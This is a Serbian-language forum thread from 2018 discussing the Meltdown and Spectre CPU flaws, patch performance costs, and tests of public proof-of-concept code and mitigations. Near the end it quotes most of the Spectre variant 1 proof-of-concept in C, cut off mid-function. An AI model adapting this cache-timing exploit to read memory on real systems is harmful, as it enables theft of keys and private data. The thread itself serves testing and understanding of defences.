Prvo, nadam se da niko ne ostvlja backdoors namerno. Nije samo NSA problem - ako ostavis backdor ti ne mozes da ga ostavis tako da samo neko moze da ga koristi - ovakvi side-band napadi su rupa koju svako moze da iskoristi. Problem i jeste sto to nije namenski backdoor (NSA ne radi tako), jer ovo moze da iskoristi i bas onaj od koga se NSA brani.

Drugo, serveri i jesu najveci problem. Ja imam neke scale-out loads u cloud-u (AWS) i vidim da su pecovali po potrosnji CPU-a. Meni to naci da ce CPU ici gore 20-30%, a meni to znaci racun veci za toliko. Nije mala stavka.

Trece, to sto za AMD, ili neki drugi (IBM isto : https://www.ibm.com/blogs/psir...mpact-processors-power-family/ ) ima "samo" SPECTRE je dovoljno. Spectre je dovoljan da napravi nacin da neko, dovoljno uporan, skine TLS kljuceve sa svih VM-ova koji su na istom hostu kao on.... E to je OZBILJAN problem.

Da, prica je datacentar i virtuelizacija, prvenstveno cloud. Da, uticace na ozbiljne cene i performanse - i da, mene briga za crysis. Za igranje postoje i konzole, iskreno mi se fucka, ali ozbiljne primene ce da bole.... Koliko ce ovo da utice dugorocno, videcemo, ali nece biti ni lepo ni zabavno.

A sto se open source tice, ja sam shvatio da je ideja da se napravi comunity driven CPU, kao projekat, kao sto Bane spominje RiscV. Nikako da se to spusta na neki FPGA, to je krs - vec da se samo razvije arhitektura / verilog kod i mikrokod, a da se onda to spusta na hardver kao i do sada, stampanjem wafera. Ideja je samo da se zabatali x86 nikako da se pravi sam svoj CPU :).
[ bojan_bozovic @ 09.01.2018. 06:49 ] @
@nkrgovic

A ko ti garantuje da NXP ili nVidia ili Samsung nece u svoju RISC-V implementaciju da ubace nesto svoje i ne naprave ranjiv i defektan CPU? Da li mozes da verujes vise NXP, nVidiji i Samsungu, nego Intelu i AMD?

Pomalo filozofsko pitanje. ;)
[ nkrgovic @ 09.01.2018. 08:51 ] @
Ma ne pricam o tome :). Cisto pricam da, ako se razvije neko jezgro ti ces bar znati da je teoretska implementacija korektna. To da li ce neko konkretno napraviti problem u svojoj implementaciji ne mozes da znas, ali mozes u dizajnu da se osiguras delimicno od toga... Ne mozes da resis, ali mozda mozes da dodjes dotle da mozes da detektujes.

Ali to nije ni bitno - i dalje je pravo pitanje da li je to bolje resenje, sa tacke gledista performansi i pouzdanosti. Ja ne kazem da jeste, ne znam - samo kazem da je zanimljiva ideja.
[ Zlatni_bg @ 09.01.2018. 17:39 ] @
Mene EC2 ubija sad. Cak sam se izmestio na RDS da mi ne radi SQL server na istoj instanci. Sad gledam sta je najbolji izbor...
[ dr0id @ 09.01.2018. 18:33 ] @
Citat:
Branimir Maksimovic:
Morace da smanje efikasnost cache memorije, sto ce dovesti do toga da sledece generacije budu sporije od prethodnih. Softverski workaroundi ce ostati jos dugo, zato sto jako malo ljudi bas kupuje nove procesore ovih dana... sto se tice obicnog korisnika, nije veliki problem, veci je kod servera zato sto baze rade sporije... na desktopu se ne oseca toliko koliko na serveru.,,

Eto konacno razloga da svi predju na nove procesore. Ako performanse (na kasicicu) nisu bile dovoljan razlog, sigurnost ce biti.
[ Zlatni_bg @ 09.01.2018. 19:13 ] @
To bas i nema neke logike sto si napisao :D
[ dr0id @ 09.01.2018. 19:18 ] @
Kako nema? Postojeci procesori busni, ako se patch-uju dobijete relativno sigurne ali sporije. Novi procesori najsigurniji na svetu, samo malo sporiji. To kad marketing & sales upakuju i najedu i napiju corporate kupce i b/vlogger-e, ima da ide k'o alva.
[ mjanjic @ 09.01.2018. 20:54 ] @
"It's not a bug, it's a feature" :)
[ Branimir Maksimovic @ 10.01.2018. 07:40 ] @
Citat:
dr0id:
Kako nema? Postojeci procesori busni, ako se patch-uju dobijete relativno sigurne ali sporije. Novi procesori najsigurniji na svetu, samo malo sporiji. To kad marketing & sales upakuju i najedu i napiju corporate kupce i b/vlogger-e, ima da ide k'o alva.


A sta ako sad padnu cene starih Intel procesora, a AMD skoce !;p

[ Srđan Pavlović @ 10.01.2018. 23:42 ] @
Ko jos misli da je ovo svesno od starta odradjeno? :) :P
[ plus_minus @ 11.01.2018. 00:59 ] @
[ Branimir Maksimovic @ 11.01.2018. 07:54 ] @
Nego jutros je dosao u moj distro intel microcode update koji bi navodno trebalo da resava ovaj problem, ali nigde ne mogu da nadjem sta tacno radi. Neki benchmark mogu pre i posle da poguram, pa da vidim razliku...
[ maksvel @ 11.01.2018. 13:39 ] @
Instalirao apdejt za El Capitan, u infou piše da sadrži mere zaštite za Safari za Spectre i instaliram ga lepo i sad Safari radi nešto sporije, a troši energije baš dosta i eto me na Operi sad.
[ Mik0rist @ 11.01.2018. 23:35 ] @
Windows 10 sa svim zakrpama i apdejtovanim microcode. A u drugom tabu Spectre PoC sa Githuba.



MacOS High Sierra



Ubuntu



Neka nam je Bog u pomoći . . .
[ bojan_bozovic @ 12.01.2018. 04:18 ] @
Problem sa exploit kodom kako ga vidim na https://github.com/Eugnis/spectre-attack je da se i victim funkcija i exploit code nalaze u istom procesu. Nema poziva na npr. Win32 API CreateProcess ili POSIX fork, jer ispravna mitigation tehnika u hardveru bi bila izolacija procesa u kesu preko MMU.

Ako gresim, molim da mi se objasni zasto bi u jeziku poput C threadovi bili izolovani jedni od drugih.
[ Branimir Maksimovic @ 12.01.2018. 04:44 ] @
Pa osnovna razlika izmedju threada i procesa je u tome da thread-ovi dele isti address space . Znaci ako to nije slucaj onda to nisu trheadovi nego procesi. Spectre znaci zaobila zastitu za citanje memorije, tj sve sto je mapirano u istom virtual space-u je citljivo
bez obzira jel imas ili nemas prava na to ;p

edit:
dodaj na to tehnike koje koriste debuggeri kao sto je gdb, shvatices da ni procesi nisu neka barijera...

[ bojan_bozovic @ 12.01.2018. 04:55 ] @
Cekaj Branimire, vidi ovde https://github.com/Eugnis/spectre-attack/blob/master/Source.c

Imam mingw gcc i to sve radi, ali ja kazem da bi radilo i da MMU vrsi mitigation limitirajuci pristup u kes memoriji drugim procesima jer i /*Victim code*/ i main rade u istom procesu. Imamo procesor koji ne pravi razliku izmedju memorije i podataka (von Neumannov procesor) i gde je sve flat address space, pa je za

Code:

25 char* secret = "The Magic Words are Squeamish Ossifrage.";


nemoguce da budu odvojen od main i preko MMU u memoriji.

Gde gresim ja? Ovo sa Git-a ne dokazuje da propust ne postoji, ili ja pravim logicku gresku. To sto speculative execution moze ovako da se upotrebi mogu lepo da kazem da radi i "as intended".
[ Zlatni_bg @ 12.01.2018. 05:00 ] @
Spectre softverski nije ni resiv...
[ bojan_bozovic @ 12.01.2018. 05:11 ] @
@zlatni_bg

I ja tako mislim, sem na nivou mikrokoda kod nekih CPU eventualno.
[ Branimir Maksimovic @ 12.01.2018. 05:12 ] @
Ma ovaj program je prost prrof of concept da memoriu mozes da citas preko cache/memory latencyija na onaj nacin kako sam ranije opisao u ovom threadu. Ovo pokazuje da propust postoji....
kako postoji ptrace na Linux-u a ima toga i na Windows-u i OS-x inace ne bi bilo moguce napisati debugger, mozes istu stvar da primenis na razlicit proces...
[ Zlatni_bg @ 12.01.2018. 05:25 ] @
Neke stvari su trebale da ostanu moguce samo u assembleru, i to bez mogucnosti wrappovanja ;)

Kapiram da je ovo samo "vrh ledenog brega", samo prezentuje nacin na koji se vrsi napad, ali i to je dovoljno... nemam c/c++ kompajler na Windowsu, mogu na AMD 5350 serveru da pokusam preko gcc-a da proverim da li radi na AMDu, ali koliko ja znam spectre radi na svim platformama.
[ bojan_bozovic @ 12.01.2018. 05:36 ] @
Branimire, ko zabranjuje da sistem bude takav da omogucava debug samo ako je izvrsni fajl ili dll/so kompajliran tako da je debug flag setovan (u PE, ELF, itd)? Nisi buildovao sa debug switch, nema nista od debugovanja. Ta bi izmena bila trivijalna.
[ Zlatni_bg @ 12.01.2018. 05:43 ] @
I onda neko preuzme source ili cak i binary koji je kompajliran sa oznakama za debagovanje, i eto nas opet na nuli...
[ bojan_bozovic @ 12.01.2018. 05:45 ] @
Nismo, jer imas Authenticode odnosno GNUPG potpisivanje fajlova ili kriptografske hash funkcije koje su tu da sprece takve stvari. Kome se izolacija ne svidja moze nazad na stari DOS. U sustini je dobra stvar, ljudi programiraju, ali uz mnogo gresaka u procesu.
[ Branimir Maksimovic @ 12.01.2018. 05:49 ] @
Citat:
bojan_bozovic:
Branimire, ko zabranjuje da sistem bude takav da omogucava debug samo ako je izvrsni fajl ili dll/so kompajliran tako da je debug flag setovan (u PE, ELF, itd)? Nisi buildovao sa debug switch, nema nista od debugovanja. Ta bi izmena bila trivijalna.


Taj switch sluzi samo da se embeduje debug info ali ne i da se omoguci samo debagovanje. Samo debagovanje se trenutno resava na nivou OS-a, tj mogucnoscu da kontrolises target proces i da menjas/citas njegovu memoriju.

Sto se tice spectre, resenje je prilicno prosto i ocigledno. Jednostavno ne koristiti isti cache za spekulativno izvrsavanje i ono koje ce se stvarno izvrsiti, nego kopirati iz neprisupacnog cache-a u glavni cache tek nakon sto je procesor siguran da date instrukcije moze izvrsiti.
To ce i uraditi eventualno ;)
[ Zlatni_bg @ 12.01.2018. 05:52 ] @
Citat:
bojan_bozovic:
Nismo, jer imas Authenticode odnosno GNUPG potpisivanje fajlova ili kriptografske hash funkcije koje su tu da sprece takve stvari. Kome se izolacija ne svidja moze nazad na stari DOS. U sustini je dobra stvar, ljudi programiraju, ali uz mnogo gresaka u procesu.


Jeste, ali sta danas sve ljudi startuju na PC-ju nije iskljuceno da jedan paket moze da izazove celu pometnju. Moze da bude prost addon ili plugin za program, ekstenzija...

Nego, koje su sanse izvrsavanja spectrea iz browser front-end koda?
[ Branimir Maksimovic @ 12.01.2018. 05:58 ] @
zlatni:"Nego, koje su sanse izvrsavanja spectrea iz browser front-end koda?"

Velike. Zato su upetchovali browsere da ne moze iz JS da se precizno meri vreme (znam za Firefox).
[ maksvel @ 12.01.2018. 07:20 ] @
Jes. Isto i za Safari. Za Chrome predlažu uključivanje Strict Site Isolation-a - kao dodatnu meru.
Za Operu još testiraju apdejt.
Inače, MS traži da AV potvrde da su kompatibilni sa njihovim apdejtom, da bi apdejt uopšte bio instaliran.


Takođe, MS je batalio da apdejtuje AMD, zbog problema uzrokovanih kod starijih procesora

Zbrka
[ Branimir Maksimovic @ 12.01.2018. 07:23 ] @
Heh, ali nije jedini nacin da se meri vreme preko built in f-je ;)
Moze recimo neki thread da se vrti koji apdejtuje counter, a znajuci CPU frekvenciju....
[ Mik0rist @ 12.01.2018. 07:25 ] @
Citat:
bojan_bozovic:
Problem sa exploit kodom kako ga vidim na https://github.com/Eugnis/spectre-attack je da se i victim funkcija i exploit code nalaze u istom procesu. Nema poziva na npr. Win32 API CreateProcess ili POSIX fork, jer ispravna mitigation tehnika u hardveru bi bila izolacija procesa u kesu preko MMU.

Ako gresim, molim da mi se objasni zasto bi u jeziku poput C threadovi bili izolovani jedni od drugih.



https://gist.github.com/ErikAu...2a9e3d4bb6#gistcomment-2313403

Pogledajte komentare na čemu je sve testirano. Čak iz Wine Emulatora radi.
[ Mik0rist @ 12.01.2018. 07:43 ] @
Provereno ne radi iz Raspberry Pi. A evo zašto

https://www.raspberrypi.org/bl...erable-to-spectre-or-meltdown/
[ Branimir Maksimovic @ 12.01.2018. 07:55 ] @
[sarkazam]
Sace Intel da ozivi Itanijum, ni on nije ranjiv ;)
[/sarkazam]
[ Mik0rist @ 12.01.2018. 08:07 ] @
[sarkazam]
Kupujem i7 procesor. Dajem 100 dinara.
[/sarkazam]

Ne znam šta da mislim posle svega ovoga. Nisam pametan.

Par naučnika iz Graca sve otkrije ovo javno. A onda 10.000 njih preuzme source code i usavršava ga na Github.

Jedino sigurno što znam jeste da smo svi podjednako nebezbedni. Od penzionera do stručnjaka u NSA. Ili možda oni u NSA ne koriste Intel procesore ?

[ maksvel @ 12.01.2018. 08:11 ] @
[ Branimir Maksimovic @ 12.01.2018. 08:16 ] @
Ako nema spekulativnog izvrsavanja, procesor ce da radi brzinom 6 iz Blejkove sedmorke ;)
[ Branimir Maksimovic @ 12.01.2018. 08:46 ] @
Citat:
Mik0rist:
[sarkazam]
Kupujem i7 procesor. Dajem 100 dinara.
[/sarkazam]

Ne znam šta da mislim posle svega ovoga. Nisam pametan.

Par naučnika iz Graca sve otkrije ovo javno. A onda 10.000 njih preuzme source code i usavršava ga na Github.

Jedino sigurno što znam jeste da smo svi podjednako nebezbedni. Od penzionera do stručnjaka u NSA. Ili možda oni u NSA ne koriste Intel procesore ?



Meni recimo ne radi ovaj poc:https://github.com/mniip/spectre-meltdown-poc.git
Treba videti pravi spectre, znaci sa mmap pa recimo mprotect, da nema prava citanja, pa tek onda videti jel ovaj zadnji microcode update nesto uradio po tom pitanju,
jer ovaj prikazani ne prevazilazi nikakvu access zastitu, jednostavno pokazuje ono sto znamo.
[ Mik0rist @ 12.01.2018. 09:10 ] @
Taj konkretni PoC je Meltdown. On i ne bi trebalo da radi sa zakrpama.

Ovo je vrlo komplikovana zbrka.

A dijagnostika je od slučaja do slučaja.

I Spectre može da se onemogući u nekom od računarskih hardvera.

Sa AMD može se onemogućiti tako što se isključi eBPF JIT kako biste sprečili adresni prostor napada na kernel.

O tome je pričao Linus na https://lkml.org/lkml/2018/1/3/797 . (videti celu prepisku ako može da se otvori)

On i dalje tvrdi da je potreban CPL kako bi se sprečio da čita JIT' iz JS iz web browsera.

Ali Spectre može biti Inter-Application (ne mora direktno da cilja kernel).

Spectre Attack adresira samo procesorsko jezgro kako je dizajnirano (pogrešno).

Može čitati iz drugih aplikacija ne samo iz sopstvene memorije računara.

Rešenje za ovo je drugi dizajn procesora.
[ Branimir Maksimovic @ 12.01.2018. 09:16 ] @
To bih voleo da vidim. Ovaj spectre primer ne pokazuje zaobilazenje zastita procesora. A kolko vidim ne radi ako secret mmapiram pa opalim mprotect nakon sto iskorpiram tajni string u zasticenu memoriu.
To je verovatno sto se zasniva na tome da je "tajni string" zapravo deo procesa i memorije kojoj imate pravo pristupa, next...

edit:
100% je ovaj Intel microcode resio spectre, cim skinem mprotect, program procita tajni string, znaci resili su i ovo.

[Ovu poruku je menjao Branimir Maksimovic dana 12.01.2018. u 10:39 GMT+1]
[ Mik0rist @ 12.01.2018. 09:48 ] @
A i Intel microcode je priča za sebe.

Paket sadrži mikrokod za sve navedene procesore, ali ažurirani mikrokod koji se odnosi na Meltdown / Spectre mitigation ograničen je na samo određene procesore.
Važi samo za sledeće procesore, pogledajte datoteku "relesenote" koja se nalazi u paketu :

[ Branimir Maksimovic @ 12.01.2018. 09:55 ] @
Kazu da ce u sledecih mesec dana da pokriju i ostatak procesora. Uglavnom mogu da potvrdim da ovaj spectre poc ne radi, ukoliko smestite tajni string u zasticenu memoriju. Sam program ne primecuje nikakvu gresku pritom osim sto ne moze da procita ;p

edit:
a izgleda ni meltdown ne radi sa novim Intelovim mikrokodom posto se zasniva na istom prinicpu ;)


[Ovu poruku je menjao Branimir Maksimovic dana 12.01.2018. u 12:23 GMT+1]
[ Mik0rist @ 12.01.2018. 11:53 ] @


Evo rešenja . Koliko sam spucao para na Intel mogao sam komotno da napravim Raspberry Pi-based supercomputer. ;p
[ Branimir Maksimovic @ 12.01.2018. 12:01 ] @
Ja se drzim Intela iz samo jednog razloga. Moze dosta da istrpi ;)
Jedini proc od AMD-a koji sam imao u karijeri, Athlon XP 1600+ mi je jedini koji je crkao ;(
P4 je posle toga bio zver, ko traktor, radio je sa neispravnim kulerom, da nije stucnuo ;p

[ Mik0rist @ 12.01.2018. 12:04 ] @
Na AMD je jedini problem što treba kuler od pola metra. Kao za pojačalo od 100w al jbg, šta sad.
[ Mik0rist @ 12.01.2018. 12:35 ] @
U međuvremenu danas je AMD izbacio obaveštenje :

https://www.amd.com/en/corporate/speculative-execution
[ Burgos @ 12.01.2018. 15:27 ] @
Kod nas je iskustvo sa sa apdejtovanim kernelima a (jos uvek bez microcode apdejta) pokazalo da većina servisa nije bitno ugrožena padom performansi, ali jedan set aplikacija (hiljade/desetine hiljada zahteva u sekundi, kao server i kao klijent), je oštećen za po deset posto po jezgru.
[ Space Beer @ 12.01.2018. 18:21 ] @
Nova tura, nova avanatura :D
http://www.securityweek.com/si...-access-most-corporate-laptops

on/off topic:
ARM ima više rupa od AMD-a, mada ne znam šta ima RPi; AMD već 4 godine ne pravi procesore sa TDP-om preko 95W; od svih intelovih procesora u poslednjih 20 godina, P4 je bio najveće đubre :D
[ Branimir Maksimovic @ 12.01.2018. 19:01 ] @
Bah taman sam se ponadao da cu moci bez pti patcha, kad nadjem neki segfault based meltdown exploit koji radi bez problema. Znaci pti na intelu ostaje...
[ maksvel @ 12.01.2018. 19:02 ] @
Ali "Evil Maid attack" LOL
[ Branimir Maksimovic @ 13.01.2018. 03:37 ] @
A evo sta mi kaze detection tool:

Code:

~/projects/gintro >>> sudo spectre-meltdown-checker                                                                                                                                           ±[●][master]
Spectre and Meltdown mitigation detection tool v0.28

Checking for vulnerabilities against running kernel Linux 4.14.13-1-MANJARO #1 SMP PREEMPT Wed Jan 10 21:11:43 UTC 2018 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz

CVE-2017-5753 [bounds check bypass] aka 'Spectre Variant 1'
* Checking count of LFENCE opcodes in kernel:  NO 
> STATUS:  VULNERABLE  (only 21 opcodes found, should be >= 70, heuristic to be improved when official patches become available)

CVE-2017-5715 [branch target injection] aka 'Spectre Variant 2'
* Mitigation 1
*   Hardware (CPU microcode) support for mitigation:  YES 
*   Kernel support for IBRS:  NO 
*   IBRS enabled for Kernel space:  NO 
*   IBRS enabled for User space:  NO 
* Mitigation 2
*   Kernel compiled with retpoline option:  NO 
*   Kernel compiled with a retpoline-aware compiler:  NO 
> STATUS:  VULNERABLE  (IBRS hardware + kernel support OR kernel with retpoline are needed to mitigate the vulnerability)

CVE-2017-5754 [rogue data cache load] aka 'Meltdown' aka 'Variant 3'
* Kernel supports Page Table Isolation (PTI):  YES 
* PTI enabled and active:  YES 
> STATUS:  NOT VULNERABLE  (PTI mitigates the vulnerability)

A false sense of security is worse than no security at all, see --disclaimer
[ Mik0rist @ 13.01.2018. 08:17 ] @
Ne mislim da će se neki operativni sistemi truditi da daju u potpunosti zakrpu jer to i nije veliki problem. (Jer je napadaču potreban full pristup iz lokala - konzolni)

Spectre PoC daje čarobni rezultat iz sopstvenog adresnog prostora.

Aplikacije se mogu kompajlirati sa opcijom LFENCE opcode ili Retpoline, što sprečava krađu podataka. Tako će aplikacije (kao što su vaš pretraživač, Skype, Steam itd.) Biti zaštićene (eventualno).

Ako želite da testirate operativni sistem koji koristi Retpoline, probajte Clear Linux. Napravljen od Intela



https://clearlinux.org/
https://clearlinux.org/documen...ual-machine-install/virtualbox
https://clearlinux.org/documen...-machine-install/vmware-player
https://clearlinux.org/blogs/clarity-desktop (after it's downloaded launch the gui by typing "startx")

Instalacija gcc input "sudo wsupd bundle-add c-basic"

http://www.phoronix.com/vr.php?view=25821



Pod njim uopšte ne radi Spectre PoC. I prva i druga varijanta.

Ostaje nejasno kako će Cloud servisi da se zaštite i specifični sistemi i okruženja (emulatori i virtuelne mašine) .

[Ovu poruku je menjao Mik0rist dana 13.01.2018. u 09:30 GMT+1]

[Ovu poruku je menjao Mik0rist dana 13.01.2018. u 09:48 GMT+1]
[ Branimir Maksimovic @ 13.01.2018. 08:46 ] @
lfence uz microcode update za prvu varijatnu spectre-a. ne znam na sta se odnosi ono da moraju da imaju prisutup masini? Za spectre i meltdown sigurno ne....
kernel patchevi koji su u pripremi nisu jos ni u rc kernelu, to mora kome je nuzda sam da merguje iz git repoa ;p
Medjutim mene i dalje zanima zasto spectre poc ovde naveden ne radi nad zasticenom memorijom kod mene ;p
Sad malo pogledah sta radi famozni microcode update: dodaje novi cpuid flag i mogucnost kontrolisanja branch predikcije preko msr (varijanta 2), potom lfence instrukcija ponistava sve prethodne instrukcije (varijanta 1).

edit: i da retpoline, tj koriscenje ret instrukcija umesto call/jmp ne radi ono sto bi trebalo da radi na skylake+. sva sreca da ima ova alternativa sa msr koju su uveli preko mikrokoda...

edit2: a ovo sto kontrolose msr ako je ono sto mislim imace za posledicu drasticno smanjenje IPC, sto se mnogima nece svideti...


[Ovu poruku je menjao Branimir Maksimovic dana 13.01.2018. u 09:57 GMT+1]
[ Mik0rist @ 13.01.2018. 08:57 ] @
Do sad koliko vidim (na svu sreću) niko nije objavio radni primer Spectre napada van memorije.

Odnosno direktno na aplikaciju - što bi bilo pogubno kroz konzolu.

Takav PoC pretpostavlja prihvaćanje složenijih komandnih argumenata (sem da ispisuje magičnu reč iz sopstvene memorije) - ali niko nije uspeo da napravi tako nešto ili pokazao jedan radni primer, za koji znam ...

A nadam se i da neće.
[ Mik0rist @ 13.01.2018. 12:07 ] @
Citat:
Branimir Maksimovic:

Medjutim mene i dalje zanima zasto spectre poc ovde naveden ne radi nad zasticenom memorijom kod mene ;p


[Ovu poruku je menjao Branimir Maksimovic dana 13.01.2018. u 09:57 GMT+1]


Ne znam na koju iteraciju PoC mislite. Sa Github ili original ?


Ovde je pun tekst koji je izdat 3. januara

https://dl.packetstormsecurity...ting-sepculative-execution.pdf


Na stranici 15 i 16 je originalni source code koji kopiraju i prepravljaju na Github. A Spectre Example Implementation

Ono što su oni ovde objavili je bezalen primer Spectre PoC . Koji je bilo i moguće objaviti javno bez većih posledica .

Jedina posledica jeste širenje bespotrebne panike. I opomena proizvođačima CPU.

Ali u istom pdf-u se navode i drugi primeri koji nisu objavljeni van laboratorije.
[ Branimir Maksimovic @ 13.01.2018. 14:00 ] @
"Ne znam na koju iteraciju PoC mislite. Sa Github ili original ?"

Pa na ovu koju su ti postao ovde. Ta ne radi nad zasticenom memorijom kod mene, program mora da ima pravo pristupa da bi procitao....
[ Mik0rist @ 13.01.2018. 14:55 ] @
Ta ima greške u kodu. Lik koji je prepisivao nije lepo prepisao iz pdf.

Ili je koristio pdf to text onlajn konverter.

Ispod imaš gomile komentara gde ispravljaju kod. I svih 145 forkova na njega.

Međutim ni ispravljen ne radi na svim mašinama. Treba __asm__ __volatile__

Ali ako i dođeš do toga da radi - nema nikakve poente - jer ne radi ništa sem ono šrto sam napisao iznad.

Poptpuno je bezazlen. Kod pušten da se deca igraju.





[Ovu poruku je menjao Mik0rist dana 13.01.2018. u 16:07 GMT+1]
[ Branimir Maksimovic @ 13.01.2018. 15:17 ] @
Da ti meni verziju koja radi, nema ovde nigde asm statementa-...

edit:
ovaj kod tebe radi, ali kod mene ne sa mojom modifikacijom
https://github.com/crozone/SpectrePoC
[ Mik0rist @ 13.01.2018. 15:39 ] @
https://gist.github.com/amawer...917d9170814484ba3f79b258843cf6
[ Branimir Maksimovic @ 13.01.2018. 15:47 ] @
Pa to je taj isti, ne radi ni to...

Original: The Magic Words are Squeamish Ossifrage.
Recovered: ????????????9?!????????????Y????????????
[ Mik0rist @ 13.01.2018. 15:56 ] @
Pa to je super. Sad si bezbedan. 8|

[Ovu poruku je menjao Mik0rist dana 13.01.2018. u 17:21 GMT+1]
[ Mik0rist @ 13.01.2018. 16:01 ] @
Realno taj program ne bi smeo da može da se pokrene sa računara. I ne može kroz raspberry pi
[ Mik0rist @ 13.01.2018. 16:26 ] @
Citat:
Branimir Maksimovic:
Pa to je taj isti, ne radi ni to...

Original: The Magic Words are Squeamish Ossifrage.
Recovered: ????????????9?!????????????Y????????????



Probaj da li radi kroz Wine Emulator.

Jer radi i kroz njega . Baš me zanima da li će tako da zaobiđe pač.

Mora i Wine da ubaci pač. I ostali emulatori . . .
[ Branimir Maksimovic @ 13.01.2018. 16:43 ] @
Izgleda da sam otkrio neku novu foru, ne radi ni jedan jedini meltdown ili spectre exploit koji sam nasao nad memorijskom zonom koja je necitljiva bilo kome.
Znaci ako hoces da sakrijes nesto od napadaca samo mprotect(addr,PROT_NONE) i ne radi ni jedan exploit ;)
Po potrebi mprotect(addr,PROT_READ/WRITE) pa odradis sta treba pa opet NONE ;)
[ Mik0rist @ 13.01.2018. 17:34 ] @
Ova komanda bi trebala da može da radi i pod OSX . Još samo da ubodem sintaksu.
[ Branimir Maksimovic @ 13.01.2018. 17:45 ] @
Evo ti progi sa modifikacijom samo na OSX stavi MAP_ANON umesto MAP_ANONYMOUS da bi ti iskompajliralo.
Za Windows mora VirtualProtect nakon alokacije sa VirtualAlloc ili plain malloc ali treba ti alignovano na 4096 da bi ceo segment mogao,
ne znam sada za Windows jel radi na unaligned.

Code:

/*********************************************************************
*
* Spectre PoC
*
* This source code originates from the example code provided in the 
* "Spectre Attacks: Exploiting Speculative Execution" paper found at
* https://spectreattack.com/spectre.pdf
*
* Minor modifications have been made to fix compilation errors and
* improve documentation where possible.
*
**********************************************************************/
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtsc, rdtscp, clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtsc, rdtscp, clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8,
  9,
  10,
  11,
  12,
  13,
  14,
  15,
  16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
Analysis code
********************************************************************/
#ifdef NOCLFLUSH
#define CACHE_FLUSH_ITERATIONS 2048
#define CACHE_FLUSH_STRIDE 4096
uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS];
#endif

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

#ifdef NOCLFLUSH
  int junk2 = 0;
  int l;
#endif

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
#ifndef NOCLFLUSH
      _mm_clflush( & array1_size);
#else
      /* Alternative to using clflush to flush the CPU cache */
      /* Read addresses at 4096-byte intervals out of a large array.
         Do this around 2000 times, or more depending on CPU cache size. */

      for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) {
        junk2 = cache_flush_array[l];
      } 
#endif

      /* Delay (can also mfence) */
      for (volatile int z = 0; z < 100; z++) {}

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];

    /*
    We need to accuratly measure the memory access to the current index of the
    array so we can determine which index was cached by the malicious mispredicted code.

    The best way to do this is to use the rdtscp instruction, which measures current
    processor ticks, and is also serialized.
    */

#ifndef NORDTSCP
      time1 = __rdtscp( & junk); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
#else

    /*
    The rdtscp instruction was instroduced with the x86-64 extensions.
    Many older 32-bit processors won't support this, so we need to use
    the equivalent but non-serialized tdtsc instruction instead.
    */

#ifndef NOMFENCE
      /*
      Since the rdstc instruction isn't serialized, newer processors will try to
      reorder it, ruining its value as a timing mechanism.
      To get around this, we use the mfence instruction to introduce a memory
      barrier and force serialization. mfence is used because it is portable across
      Intel and AMD.
      */

      _mm_mfence();
      time1 = __rdtsc(); /* READ TIMER */
      _mm_mfence();
      junk = * addr; /* MEMORY ACCESS TO TIME */
      _mm_mfence();
      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      _mm_mfence();
#else
      /*
      The mfence instruction was introduced with the SSE2 instruction set, so
      we have to ifdef it out on pre-SSE2 processors.
      Luckily, these older processors don't seem to reorder the rdtsc instruction,
      so not having mfence on older processors is less of an issue.
      */

      time1 = __rdtsc(); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
#endif
#endif
      if (time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
}

/*
*  Command line arguments:
*  1: Cache hit threshold (int)
*  2: Malicious address start (size_t)
*  3: Malicious address count (int)
*/
int main(int argc,
